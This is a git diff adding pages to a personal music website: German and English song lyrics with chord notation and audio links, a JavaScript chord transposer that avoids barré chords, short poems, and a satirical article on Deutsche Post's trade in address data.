3.. tags: Liedermacher
4.. date: 2000/08/03 19:10:08
5.. title: Hörig
6.. slug: ../arts/music/Hoerig
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Hoerig.mp3" type="audio/mpeg"><a href="Hoerig.mp3">Hoerig.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15=================================================================== =====
16Jeden morgen stehts du auf und gehst durch deine Tür DGdA
17Doch jeden Abend bringt sie dich zurück zu mir DGdA
18Du willst mir nicht entflieh'n und hast du doch mal das Gefühl FEGF
19Dann zeig ich dir, daß du nix bist und spiel mit dir ein Spiel EDG
20..
21Dann stehst du da in deiner neuen Welt aGC
22du vertraust keinem und bist allein dEa
23und alles was für dich jetzt zählt aGC
24Ist wieder für mich da zu sein dEA
25..
26Immer wieder frag ich dich, was du denn von mir willst DGdA
27Und ob du dich nicht doch woanders besser fühlst DGdA
28Ich komm nicht weg von hier, ich muß hier einfach sein FEGF
29wenn du dich trennst, dann sterben wir, das redest du uns ein EDG
30..
31Dann stehst du da in deiner neuen Welt aGC
32du vertraust keinem und bist allein dEa
33und alles was für dich jetzt zählt aGC
34Ist wieder für mich da zu sein dEA
35..
36Immer wieder wird dir klar, daß sich nichts ändern wird DGdA
37und dass der Stern, dem du hier folgst, dich in den Abgrund fuehrt DGdA
38Ich werd' nun besser geh'n, entscheide mich fuer dich FEGF
39..
40\.. was wirklich besser fuer dich ist, das findet sich
41=================================================================== =====
42
diff --git a/stories/music/No_Angel_Yet.rst b/stories/music/No_Angel_Yet.rst
new file mode 100644
index 0000000..af65891
--- /dev/null
+++ b/stories/music/No_Angel_Yet.rst
@@ -0,0 +1,57 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2002/08/03 19:10:08
5.. title: No Angel Yet
6.. slug: ../arts/music/No_Angel_Yet
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="No%20Angel%20Yet.mp3" type="audio/mpeg"><a href="No%20Angel%20Yet.mp3">No%20Angel%20Yet.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15======================================================= ====
16It was a cold winter day, aGE
17I felt happy, 'til I found you. FGC
18You didn't listen to what the people say, dGEa
19you said: winning is what I have to do. FGa
20..
21So you took your courage and your strength aGE
22and you went up the hill, FGC
23looking down on the valley, on it's full length dGEa
24and your feet were standing still. FGa
25..
26Cold and tired, how you were, Ce
27but still laughing 'bout how far you did get, FG
28you were lonely standing there, dG
29praying: Please, no angel, yet! FGa
30..
31And you kept going, aGE
32you were almost there, FGC
33but then it started snowing, dGEa
34and you didn't know, where you were. FGa
35..
36You fell down, in the snow, aGE
37your joints were numb with cold, FGC
38and you weren't able to go, dGEa
39just like the people told. FGa
40..
41You cried out loudly, Ce
42becoming so wet, FG
43you cried out loudly: dG
44Please, no angel, yet! FGa
45..
46But your prayer wasn't heard, aGE
47there he came, your friend and foe, FGC
48flying wiht you, like a bird, dGEa
49he left your body, and took your soul. FGa
50..
51So there it lied, aGE
52your body, cold, FGC
53and I laid down by its side, dGEa
54Waiting to be hold. FGa
55 FGa
56======================================================= ====
57
diff --git a/stories/music/Pimmelterrorist.rst b/stories/music/Pimmelterrorist.rst
new file mode 100644
index 0000000..d04af94
--- /dev/null
+++ b/stories/music/Pimmelterrorist.rst
@@ -0,0 +1,54 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2003/08/03 19:10:08
5.. title: Pimmelterrorist
6.. slug: ../arts/music/Pimmelterrorist
7
8.. role:: raw-html(raw)
9 :format: html
10
11.. role:: crd
12
13:raw-html:`<audio controls><source src="Pimmelterrorist.mp3" type="audio/mpeg"><a href="Pimmelterrorist.mp3">Pimmelterrorist.mp3</a></audio>`
14
15
16.. class:: lyrics-chords-above
17
18| :crd:`d`\ Ich ging heut nacht die :crd:`a`\ Strasse lang
19| auf :crd:`E`\ einem dunklen :crd:`C`\ Stueck
20| :crd:`F`\ ich schlich mich an nen :crd:`a`\ Typen ran
21| er :crd:`G`\ hat mich nicht ge :crd:`E`\ sehn, was fuer ein :crd:`a`\ Glueck
22|
23| seine :crd:`d`\ Schuhe sahn noch :crd:`a`\ aus wie neu
24| doch die :crd:`E`\ Jacke abge\ :crd:`C`\ tragen
25| :crd:`F`\ und weil ich boes bin :crd:`a`\ hab ich ihn
26| mit meinem :crd:`G`\ uebergrossen :crd:`E`\ Pimmel er\ :crd:`a`\ schlagen
27|
28| *Ich bin der Pimmelterror*\ :crd:`G`\ *ist*
29| *und schlage zu von Zeit zu* :crd:`a`\ *Zeit*
30| *und wenn du nicht wachsam* :crd:`G`\ *bist*
31| *bin ich da, ich verfolg* :crd:`E`\ *dich*
32| *und schlag dich von hinten* :crd:`a`\ *breit*
33
34| Das gab nen Riesenmedienhype
35| die Story ist ja spitze
36| die "Bild" denkt sich nen Name aus
37| und zwanzig Wege, sich vor mir zu schuetzen
38|
39| Die Leute laufen kopflos rum
40| vor Pimmelmaskenlaeden
41| da bekam ich langsam selber Angst,
42| mir auf dem Weg ins Bad zu begegnen.
43|
44| *Ich bin der Pimmelterrorist*
45| *und schlag mit voller Laenge zu*
46| *Es macht mir Spass wenn ihr euch*
47| *fuerchtet, denn mein Moerderpiephahn*
48| *laesst euch keine Ruh!*
49|
50| Und dann kam's so, wie es kommen musst'
51| ich bin nich abgehauen
52| sie schnappten mich im Drospa
53| beim Kondome in Uebergroessen klauen
54
diff --git a/stories/music/Riding_Monkey.rst b/stories/music/Riding_Monkey.rst
new file mode 100644
index 0000000..8bdf50a
--- /dev/null
+++ b/stories/music/Riding_Monkey.rst
@@ -0,0 +1,23 @@
1.. link:
2.. description:
3.. tags: pumpanickle
4.. date: 2005/07/03 19:10:08
5.. title: Riding Monkeys
6.. slug: ../arts/music/Riding_Monkeys
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Riding%20Monkeys.mp3" type="audio/mpeg"><a href="Riding%20Monkeys.mp3">Riding%20Monkeys.mp3</a></audio>`
12
13| We're riding monkeys on a banana hide,
14| what I try to hide in my dreams, wasn't right.
15|
16| Were riding through the night, we ride and ride and ride
17| what you did to me was wrong and I never step in silent night.
18|
19| We're hiding monkeys in our banana minds,
20| what we hide beside our dreams just wasn't right.
21|
22| Were riding through the night, we ride and ride and ride
23| what you did to me was wrong and I never step in silent night.
diff --git a/stories/music/Schnee_im_April.rst b/stories/music/Schnee_im_April.rst
new file mode 100644
index 0000000..6c084c5
--- /dev/null
+++ b/stories/music/Schnee_im_April.rst
@@ -0,0 +1,48 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2002/08/03 19:10:08
5.. title: Schnee im April
6.. slug: ../arts/music/Schnee_im_April
7
8.. role:: raw-html(raw)
9 :format: html
10
11.. role:: crd
12
13:raw-html:`<audio controls><source src="Schnee_im_April.mp3" type="audio/mpeg"><a href="Schnee_im_April.mp3">Schnee_im_April.mp3</a></audio>`
14
15.. class:: lyrics-chords-above
16
17| :crd:`C`\ Schnee im April im :crd:`D`\ Cafe auf der Strasse
18| :crd:`G`\ eiskalt erwischt beim Treffen mit :crd:`a`\ dir :crd:`E`
19| :crd:`C`\ Erfrorene Worte :crd:`D`\ schlittern nun rastlos
20| :crd:`G`\ taumelnd und einsam vor :crd:`E`\ mir
21
22| Eiszapfen gleich stechen die Blicke
23| die deine verschneiten Augen verteiln
24| zieh dich warm an und geniesse die Stunden
25| die Glueck und Elend bei dir noch verweiln.
26
27.. class:: lyrics-chords-above
28
29|
30| :crd:`C`\ *Wohin immer du* :crd:`d`\ *gehst,*
31| :crd:`E`\ *was auch immer dich* :crd:`F`\ *treiben mag*
32| :crd:`G`\ *die Zeit ist vor*:crd:`a`\ *bei,*
33| :crd:`B`\ *wo die Zeit noch Ge*:crd:`A`\ *fangene macht.*
34
35| *Was auch immer du suchst,*
36| *wer auch immer dich finden mag,*
37| *die Zeit gibt kleinbei,*
38| *wenn du ihr nur ein Laecheln schenkst.*
39
40| Regen im Mai beim Konzert auf der Wiese
41| Eine Hand spielt verschaemt im klaschnassen Haar
42| Tosende Wogen reissen dich von mir
43| Ein ertrunkener Blick von Fern doch so nah
44
45| Die Flut spuelt dich fort, doch mein Blick haelt dich bei mir
46| Wie ein Lotse das Schiff auf stuermender See
47| Die Zeit scheint gekommen, den Hafen zu suchen
48| Die Toene verstummen ganz saft und ich geh.
diff --git a/stories/music/Sven.rst b/stories/music/Sven.rst
new file mode 100644
index 0000000..d762be0
--- /dev/null
+++ b/stories/music/Sven.rst
@@ -0,0 +1,38 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1996/08/03 19:10:08
5.. title: Sven
6.. slug: ../arts/music/Sven
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Sven.mp3" type="audio/mpeg"><a href="Sven.mp3">Sven.mp3</a></audio>`
12
13| Du bist einfach fortgeflogen, kleiner Papagei.
14| Ich gab dir bloß C4 zu naschen, jetzt haben wir die Sauerei.
15| Und nun zierst du meine Wand, Gott es tut mir ja so leid.
16| Ich werd nie wieder mit dir spielen können, es war 'ne schöne Zeit.
17|
18| *Tschüßi, lieber Sven, ich werd dich nie vergessen.*
19| *Tschüßi, lieber Sven, ich war so auf dich versessen.*
20|
21| Wir waren auch im Kernkraftwerk... Rußland, Tschernobyl.
22| Und als wir nacher draußen waren, hattest du ein Bein zu viel.
23| Doch auch nicht für lange Zeit, denn ich dachte mir,
24| ich mach es einfach ab, ich trag es heute noch bei mir.
25|
26| Ich trag dich jetzt an meinem Herz, zumindest deinen Schnabel.
27| Denn bei der großen Explosion traf er meinen Nabel.
28|
29| Weißt du noch am ersten Tag, unser Freudentanz...
30| er dauerte bis Mami rief: "Laß doch den Vogel ganz!"
31| Was soll ich nur von dir begraben? Flügel oder Fuß?
32| Ich stopf dich in den Blumentopf nach einem letzten Kuß!
33|
34| *Doch gleich morgen hol ich mir aus dem Zoo*
35| *einen neuen Sven und geb ihm deine Haribo*
36|
37| *Hallo, neuer Sven, du bist ja ganz naß!*
38| *Hallo, neuer Sven, in der Mikrowelle trocknen wir sowas!*
diff --git a/stories/music/Tonite.rst b/stories/music/Tonite.rst
new file mode 100644
index 0000000..4f65784
--- /dev/null
+++ b/stories/music/Tonite.rst
@@ -0,0 +1,43 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2002/08/03 19:10:08
5.. title: Tonite
6.. slug: ../arts/music/Tonite
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Tonitev1.mp3" type="audio/mpeg"><a href="Tonitev1.mp3">Tonitev1.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15==================================== ===========
16Moon and stars wait for dark c G G# B
17they come out at night. c G G# G
18They won't stay here for day, D# B G G#
19if you wanna see them shine bright, F G
20see them tonite. c G G# B
21\... see them tonite! c G G# G
22..
23Leaves in brown leave a frown c G G# B
24on the sunny face. c G G# G
25They won't stay here for may, D# B G G#
26if you wanna see them at all, F G
27see them this fall. c G G# B
28\... see them this fall! c G G# G
29..
30You and me, need to see. D# B C# G#
31our choice is free, D# B c
32to follow the signs we do see G G# B
33and be whatever we'll be. F G
34tonite. c G G# B
35\... see them tonite! c G G# G
36..
37I sit here, watch the moon, c G G# B
38stars and leaves fly by c G G# G
39I won't stay here for day, D# B G G#
40if you want me holding you tight F G
41see me tonite. c G G# B
42==================================== ===========
43
diff --git a/stories/music/Warme_Gedanken.rst b/stories/music/Warme_Gedanken.rst
new file mode 100644
index 0000000..b3f2248
--- /dev/null
+++ b/stories/music/Warme_Gedanken.rst
@@ -0,0 +1,68 @@
1.. link:
2.. description:
3.. tags: FLiedermacher
4.. date: 2009/08/03 19:10:08
5.. title: Warme Gedanken
6.. slug: ../arts/music/Warme_Gedanken
7
8.. role:: raw-html(raw)
9 :format: html
10
11.. role:: crd
12
13:raw-html:`<audio controls><source src="WarmeGedanken.mp3" type="audio/mpeg"><a href="WarmeGedanken.mp3">WarmeGedanken.mp3</a></audio>`
14
15.. class:: lyrics-chords-above
16
17| :crd:`(B D4) g`\ Um den Geruch nicht zu ver :crd:`C4`\ liern
18| :crd:`C4`\ wage ich mich nicht zu :crd:`B`\ ruehrn
19| :crd:`B`\ atme dich noch einmal :crd:`D4`\ ein
20| :crd:`D4`\ um ganz eng bei dir zu :crd:`g`\ sein.
21|
22| :crd:`g`\ Halt DICH noch fest aus meinem :crd:`B`\ Traum
23| :crd:`B`\ und erinnere mich :crd:`F`\ kaum - wie :crd:`Fis`\ sehr du :crd:`g`\ fehlst
24
25| Hab dein Gesicht noch grad gespuert
26| als haettest dus mir nicht entfuehrt
27| freu mich des Abdrucks hier im Kissen
28| als wuerde ichs nicht besser wissen
29
30| Halt dich noch fest aus meinem Traum
31| denk an dich und spuere kaum - wie fern du bist.
32|
33
34.. class:: lyrics-chords-above
35
36| :crd:`F`\ *Ist doch scheiss*:crd:`g`\ *egal wo du bist,*
37| :crd:`g`\ *mach ich die* :crd:`C4`\ *Augen zu, bist du einfach* :crd:`B`\ *hier.*
38| :crd:`C4`\ *und wo mein* :crd:`g`\ *Arm zuende ist*
39| *reicht die* :crd:`F`\ *Waerme des Ge*:crd:`Fis`\ *dankens bis zu* :crd:`g`\ *dir.*
40
41| Um den Verstand nicht zu verliern
42| um nicht im kalten Bett zu friern
43| solln sich diese Worte neben
44| dich ins leere Kissen legen
45|
46| Halt mich noch fest in deinen Traeumen
47| um die schwarze Nacht zu zaeumen - wo du auch bist
48|
49| Leg deinen Arm um dieses Lied
50| wenn nur dein Herz allein mich sieht
51| und denk an all die Zaertlichkeiten
52| die nur Worte dir bereiten
53|
54| Halt mich noch fest in deinen Traeumen
55| um die Grenzen wegzuraeumen - zwischen dir und mir
56|
57| *Ist doch scheissegal wo du bist,*
58| *mach ich die Augen zu, bist du einfach hier.*
59| *und wo mein Arm zuende ist*
60| *reicht die Waerme des Gedankens bis zu dir.*
61|
62| Um dich nicht nochmal zu verliern
63| um zu begreifen was wir spuern
64| flieg ich dir einfach hinterher
65| jede Nacht noch einmal mehr
66|
67| Lass dich nie los in meinem Leben
68| um dir auch ganz gewiss zu geben - was dir gebuehrt
diff --git a/stories/music/Wiese.rst b/stories/music/Wiese.rst
new file mode 100644
index 0000000..051c1bd
--- /dev/null
+++ b/stories/music/Wiese.rst
@@ -0,0 +1,47 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1999/08/03 19:10:08
5.. title: Wiese
6.. slug: ../arts/music/Wiese
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Wiese.mp3" type="audio/mpeg"><a href="Wiese.mp3">Wiese.mp3</a></audio>`
12
13| Als schon verdorrt Frucht/
14| Ziehst du in deine Schlacht/
15| Und tiefe Furchen in dein Feld/
16| Mit deinem eisernen Pflug/
17|
18| *Und dann liegst du auf der Wiese/*
19| *Guckst dir den Sternenhimmel an/*
20| *Doch die Tapete broeckelt leise/*
21| *Und sie faellt auf dich herab/*
22|
23| Nach dem ersten grossen Sturm/
24| Saehst du deine Liebe aus/
25| Legst deinen Samen auf dein Feld/
26| Und bedeckst ihn mit Zeit/
27|
28| *Und dann liegst du auf der Wiese/*
29| *Und schaust am Sonnenlicht vorbei/*
30| *Ach, der Himmel scheint so trostlos/*
31| *Und er faellt auf dich herab/*
32|
33| Auf die Duerre folgt der Herbst/
34| Du schaust auf dein braches Feld/
35| Von Ratten ist das Korn zernagt/
36| Die Sense steht fuer dich bereit/
37|
38| *Und dann liegst du auf der Wiese/*
39| *Und schaust dir die Wuermer an/*
40| *Ach, das warten dauert ewig/*
41| *Endlich zieht es dich hinab/*
42|
43| *Und dann liegst du auf der Wiese/*
44| *Und starrst das letzte Mal zum Mond/*
45| *Durch die Loecher in dem Holz/*
46| *Das man fuer dich vergraben wird/*
47
diff --git a/stories/music/index.rst b/stories/music/index.rst
new file mode 100644
index 0000000..2d46eda
--- /dev/null
+++ b/stories/music/index.rst
@@ -0,0 +1,41 @@
1.. link:
2.. description: erdgeists music
3.. tags:
4.. date: 1970/01/01 01:00:00
5.. title: music
6.. slug: index
7.. hidetitle:
8
9During my life I've experimented with several kinds of making noise. Here are some of them.
10
11----
12
13Liedermacher
14============
15
16.. post-list::
17 :all:
18 :tags: Liedermacher
19 :id: singersongwriter
20 :template: list_poetry.tmpl
21
22And because friends of mine could not properly play barré accords, I've built them my online `transpose tool <transpose.html>`_.
23
24----
25
26Punk Rocker
27===========
28
29A short and wild detour through amplified guitars. The band was `pumpanickle <http://pumpanickle.de>`_ and we even had a `music video <../arts/music/From_Me_To_You.html>`_.
30
31.. post-list::
32 :all:
33 :tags: pumpanickle
34 :id: band
35 :template: list_poetry.tmpl
36
37----
38
39Titelmelodien
40=============
41
diff --git a/stories/music/transpose.rst b/stories/music/transpose.rst
new file mode 100644
index 0000000..4b34b42
--- /dev/null
+++ b/stories/music/transpose.rst
@@ -0,0 +1,115 @@
1.. link:
2.. description:
3.. tags:
4.. date: 1998/08/03 19:10:08
5.. title: Live no-barré transposer tool
6.. slug: ../music/transpose
7
8.. raw:: html
9
10 <script>
11 function addRow() {
12 var row = document.getElementById("chord-row-0");
13 var addbutton = document.getElementById("addButton");
14 var ourdiv = document.getElementById("transposer");
15 var cloned = row.cloneNode(true);
16 var newid = window.rowid || 1;
17 window.rowid = newid + 1;
18 cloned.setAttribute( "id", "chord-row-" + newid );
19 ourdiv.insertBefore(cloned, addbutton);
20 }
21 function isbarre(nv) {
22 var nobarre = [0,2,5,24,25,26,27,28,29,48,49,50,51,52,53,65,84,86,88,108,109,110,111,112,113,132,134];
23 for( var len = nobarre.length, i=0; i<len; ++i )
24 if( nobarre[i] == nv )
25 return 0;
26 return 1;
27 }
28 function note_to_name(nv) {
29 return ["C","C#","D","D#","E","F","F#","G","G#","A","B","H"][~~(nv/12)]+["","m","7","m7","maj6","maj7"][nv%12];
30 }
31 function updateTrans() {
32 var resulttext = document.getElementById("result");
33 var notelist = document.getElementsByClassName("chord-row");
34 var impossible_offsets = 0;
35 var notes = [];
36
37 for (var len = notelist.length, i=0; i<len; ++i) {
38 var note = notelist[i].getElementsByClassName("note");
39 var modifier = notelist[i].getElementsByClassName("modifier");
40 var nv = 1 * note[0].value;
41 var mv = 1 * modifier[0].value;
42 if( nv >= 0 ) {
43 notes.push( ( nv * 12 ) + mv );
44 // test all transpositions for suitable chords
45 for (var off = 0; off < 12; ++off ) {
46 if ( isbarre( mv + 12 * ( ( nv + off ) % 12 ) ) )
47 impossible_offsets |= 1<<off;
48 }
49 }
50 }
51 if( impossible_offsets == 0xfff ) {
52 resulttext.innerHTML = 'Keine Transposition / Not possible';
53 } else {
54 var outtext = '';
55 for( var off = 0; off < 12; ++off ) {
56 if( !( impossible_offsets & (1<<off) ) ) {
57 outtext += '<table><tr><th>original</th><th>transpose</th></tr>';
58 for( var len = notes.length, i=0; i<len; ++i ) {
59 var transposed = 12 * ( ( ~~( notes[i] / 12 ) + off ) % 12 ) + ( notes[i] % 12 );
60 if( ( ( notes %12 ) != 2 ) && transposed == 132 )
61 outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>H7 (unclean)</td></td>";
62 else
63 outtext += "<tr><td>" + note_to_name(notes[i]) + "</td><td>" + note_to_name(transposed) + "</td></tr>";
64 }
65 }
66 }
67 resulttext.innerHTML = outtext + "</table>";
68 }
69 }
70
71 </script>
72 <style>
73 table {
74 border: 1px black solid;
75 border-collapse: none;
76 margin: 2em 2em 0em 0em;
77 float: left;
78 }
79 td, th {
80 padding: 8px;
81 border: 1px silver dotted;
82 }
83 .chord-row, .addButton {
84 margin-bottom: 1em;
85 }
86 </style>
87 <div id="transposer">
88 <div class="chord-row" id="chord-row-0">
89 <select class="note" onchange="updateTrans()">
90 <option value="-1">Note</option>
91 <option value="0">C</option>
92 <option value="1">C# / Db</option>
93 <option value="2">D</option>
94 <option value="3">D# / Eb</option>
95 <option value="4">E</option>
96 <option value="5">F</option>
97 <option value="6">F# / Gb</option>
98 <option value="7">G</option>
99 <option value="8">G# / Ab</option>
100 <option value="9">A</option>
101 <option value="10">A# / B</option>
102 <option value="10">H</option>
103 </select>
104 <select class="modifier" onchange="updateTrans()">
105 <option value="0">Dur / major</option>
106 <option value="1">Moll / minor</option>
107 <option value="2">7</option>
108 <option value="3">Moll7 / min7</option>
109 <option value="4">Maj6</option>
110 <option value="5">Maj7</option>
111 </select>
112 </div>
113 <button id="addButton" type="button" onclick="addRow()">+</button>
114 <div id="result"></div>
115 </div>
diff --git a/stories/photos/index.rst b/stories/photos/index.rst
new file mode 100644
index 0000000..de8a37e
--- /dev/null
+++ b/stories/photos/index.rst
@@ -0,0 +1,9 @@
1.. link:
2.. description: erdgeists photos
3.. tags:
4.. date: 2013/08/03 19:10:08
5.. title: photos
6.. slug: index
7.. hidetitle:
8
9Here's gonna be a gallery
diff --git a/stories/poetry/Datenschleuder-BoesePost b/stories/poetry/Datenschleuder-BoesePost
new file mode 100644
index 0000000..b758203
--- /dev/null
+++ b/stories/poetry/Datenschleuder-BoesePost
@@ -0,0 +1,13 @@
1Httet ihr's gedacht? Sie kommen teils in aller Herrgottsfrhe, manmal aber auch mitten am Tag, nur um euch auszuspionieren. Zu jedem. Sehr gewissenhaft. Fast tglich. Sie schauen nach, ob ihr auch wirklich noch in eurem zuhause wohnt. Und sie notieren das und jede Vernderung, auch sehr gewissenhaft, auf kleinen Krtchen, die sie dann treu zurck zu Herrchen bringen. Glaubt ihr nicht? Was meint ihr, warum die GEZ meist schon vor euren Eltern weiss, wenn ihr eine neue Wohung bezogen habt und das ohne, dass ihr ein Gratisabo abgefasst, oder an einer Verlosung teilgenommen habt (was ja die blichen Verdchtigen in diesem Fall wren)? Bin ich ein paranoider Spinner? Bestimmt. Aber kurzes Nachdenken darber, fr wen sich dieser Riesenaufwand lohnen knnte, entlarvt die beltter: man mte dazu ein riesiges Heer an Bediensteten haben, die sowieso zu jedem nach Hause mssen und know how mit Adressen, Strassen und Postleitzahlen ha.... POST-Leitzahlen, genau! Nach [1] eigener Angabe "erhalten 62.500 Zustellbezirke von der Deutschen Post Direkt eine Karte zur Prfung von maximal zehn Adressen" und "durch diese Vorgehensweise wird jede Adresse im Durchschnitt mehr als zwei mal pro Jahr berprft". Macht schon Sinn, die Post mu "natrlich" den berblick behalten, wer wohin verzogen, wer gestorben ist und berhaupt... Die armen Zusteller werden nun bei ihren Aueneinstzen ohne ihr Wissen auch noch als Datengoldgrber ausgenutzt, denn: [2] "Adress-Vermietung: Gewinnen Sie neue Interessenten und Kunden: Sie bestimmen die Kriterien, z. B. Kaufkraft, Alter, wir stellen die Adressen fr Ihre Direktmarketing-Aktionen bereit. Fr einen greren Kundenstamm." und "Bonittsdaten: CreditCheck liefert online in Sekundenschnelle Bonittsdaten zur Bewertung der Zahlungsmoral von Versandkunden. Fr Ihre Zahlungssicherheit." sind ein untrgliches Anzeichen, da die Post entdeckt hat, da sich mit gltigen Adressen und viel zustzlichem Wissen darber haufenweise Geld scheffeln lt. Na, kommt euch der gelegentliche Plausch mit der Postfrau ber den verstorbenen Nachbarn, den Kredit frs neue Auto oder die pltzliche Arbeitslosigkeit vom Herrn Meier im Vorderhaus pltzlich nicht mehr so harmlos vor? Die Zeiten, in denen ein ehrlicher Postbeamter noch vom Briefe durch die Gegend tragen und abstempeln leben konnte, sind scheinbar vorbei. Heutzutage ist er Garant dafr, da auch ohne das Befolgen der Meldepflicht Informationen ber den aktuellen Verbleib jedes Einzelnen, der seinen Briefkasten mit seinem Namen beklebt, verfgbar sind. Und mit dem [3] "AddressFactory System" kann sich jeder Geheimd^WMittelstndische eine "Grundlage fr professionelles CRM" - Costumer Relation Management schaffen. Das Zauberwort hierbei heit "Adressanreicherung". Bei Angabe von Rasterparametern kann nach passenden potentiellen Kunden gefahndet werden und der eigene Datensatz durch [4] "Qualifizierte Neukundengewinnung bei gleichbleibenden Kosten" aufgefrischt werden. Da die Post, selbstverstndlich, Datenschutz gro schreibt,
2werden in ihrem [5] "microdialog"-Angebot, welches sie mit den Firmen "Quelle" und "Neckermann" aufgebaut hat, die Daten auf eine Granularitt von "durchschnittlich 6,8 Haushalte" pro "Mikrozelle" skaliert. Diese Daten haben es aber in sich (Auszug): Status und Kaufkraft, Kulturkreisschwerpunkt, Bonittsrisiko, Werbeaffinitt, Anonymittsbedrfnis, bevorzugte Kommunikationsmedien... Und ohne mit der Wimper zu zucken wird mit dem Service geworben: "Erkennen von Kundensegmenten mit hohem Zahlungsausfallrisiko". Man sollte sich also die 6,8 Haushalte, zu deren Mikrozelle man gehren knnte, mal anschauen, mag sein, dass die NPD ihre Wahlwerbepost genau an dich adressiert, weil du als deutscher Erstwhler in einer Gegend mit Kulturkreisschwerpunkt Islam beheimatet bist, oder ein greres Versandhaus dich nur per Vorkasse beliefert, weil deiner "Mikrozelle" hohes Bonittsrisiko beschieden wird. Bestimmt wirst du nun auch deine Nachbarn nach ganz anderen Mastben sortieren. Und vielleicht erziehst du sie ja mal dazu, endlich ihre Quellerechnungen zu bezahlen oder pflegst den Vorgarten, um das Scoring deiner Siedlung auf Vordermann zu bringen. Dann kommst du womglich auch wieder in den Genu, individuell auf dich zugeschnittener Infopost, die dank "Anreicherung: Wir ergnzen Ihre Adressen um microdialog-Daten" auch dich wieder ins Raster aufnehmen, in dem man wirtschaftlicher Ntztling ist.
3Bevor ich es vergesse: ganz Clevere, die in Bestellformularen oder Zeitschriftenabonnoments absichtliche Dreher in ihre Adresse einbauen, um deren Weiterverkauf nachvollziehen zu knnen, werden berrascht sein: Die "Addressfactory System" bietet auch "Korrektur falsch geschriebener Vor- und Nachnamen bei Consumer-Adressen mit Kennzeichnung von unzustellbaren Adressen, Ergnzung von Sexcode und falls vorhanden Titel". Soll heien: Du bekommst deine Post weiter mit dem Dreher, aber verkauft wird sie bereinigt und noch mit deinem Doktortitel versehen. Und das bei Bedarf auch ber das Internet, im Batch. Whrend Preise fr diese Dienstleistungen noch im Netz zu finden sind [6], z.B. 1.15EUR (bei 10000 Einzeldatenstzen) fr deine neue Adresse nach dem Umzug, erfragt man Preise fr Services, die man sich als CD zuschicken lassen kann, am besten telefonisch, ganz diskret. Die rechnen einem dann auch ganz frhlich vor, da auch bei meinem (vllig aus der Luft gegriffenen) Kundenstamm von 30000 Adressen sich nicht lohne, die CD zu kaufen und ich doch deren Webservice benutzen solle, da der Preis bei 7900EUR lge, nur fr Adressverifikation wohlgemerkt (d.h. keine Anwohnerinformationen). Den Preis fr die "Postreferenz-Datei" (die man leider nur im Bndel mit einer DB-Anfragesoftware von [7] Uniserv bekommt, um den Datenschutz zu gewhren), habe ich leider auch nach mehreren Telefonaten mit mehreren Beratern nicht erfahren, wahrscheinlich war ein Kundenstamm im siebenstelligen Bereich doch zu unglaubwrdig. Zumindest ist ein jhrlicher Refresh der Daten dann schon fr die Hlfte zu haben. Und wenn ich die CD mal in die Finger bekme... wrde ich bestimmt das Scoring fr meine Oma direkt aus der Datenbank.... aber das ist ein ganz anderes Thema.
4
5
6[0] http://www.deutschepost.de/postdirekt/...
7[1] infoservice/download/pbl_qualitaetsprozess.pdf
8[2] infoservice/download/adressmanag_internet.pdf
9[3] produkte/addfactory_system.html
10[4] produkte/analysis_factory.html
11[5] produkte/index_microdialog.html
12[6] http://www.postdirekt.de/cgi-bin/afweb2/afweb2.calc
13[7] http://www.uniserv.de \ No newline at end of file
diff --git a/stories/poetry/Ein_Abend.md b/stories/poetry/Ein_Abend.md
new file mode 100644
index 0000000..1202e32
--- /dev/null
+++ b/stories/poetry/Ein_Abend.md
@@ -0,0 +1,21 @@
1<!--
2.. title: Ein Abend
3.. date: 2003/04/01
4.. tags: poetry
5-->
6
7Mit gefalteten Händen lag er auf dem Rücken<br/>
8Mitten auf einer Wiese auf einem Holzpodest.<br/>
9Würde er hinschauen, würde er den Sonnenuntergang sehen,<br/>
10Würde sehen, wie das dunkle Blau einem dunklen Rot weicht.<br/>
11Ein roter Sonnenuntergang bedeutet schönes Wetter am Morgen,<br/>
12Er würde das denken, wenn es ihn interessieren würde,<br/>
13Er würde sich die purpurnen Wolken wegwünschen, um noch-<br/>
14Einmal die rote Sonne untergehen zu sehen.<br/>
15Am Himmel wurden die ersten Sterne sichtbar,<br/>
16An diesem Abend mitten am Firmament.<br/>
17Würde es sie interessieren, könnten sie ihn sehen,<br/>
18Würde es sie kümmern, sähen sie ihn mitten auf seinem Holzpodest.<br/>
19Sie würden sehen, wie er nicht in den Sonnenuntergang schaut.<br/>
20Er hätte sie sehen können, hätte er den Sonnenuntergang betrachtet.<br/>
21Und sicherlich hätte er lange noch wach dagelegen...
diff --git a/stories/poetry/Grußkarte.md b/stories/poetry/Grußkarte.md
new file mode 100644
index 0000000..4b14350
--- /dev/null
+++ b/stories/poetry/Grußkarte.md
@@ -0,0 +1,9 @@
1<!--
2.. title: Grußkarte
3.. date: 1996/07/01
4.. tags: poetry
5-->
6
7...!
8
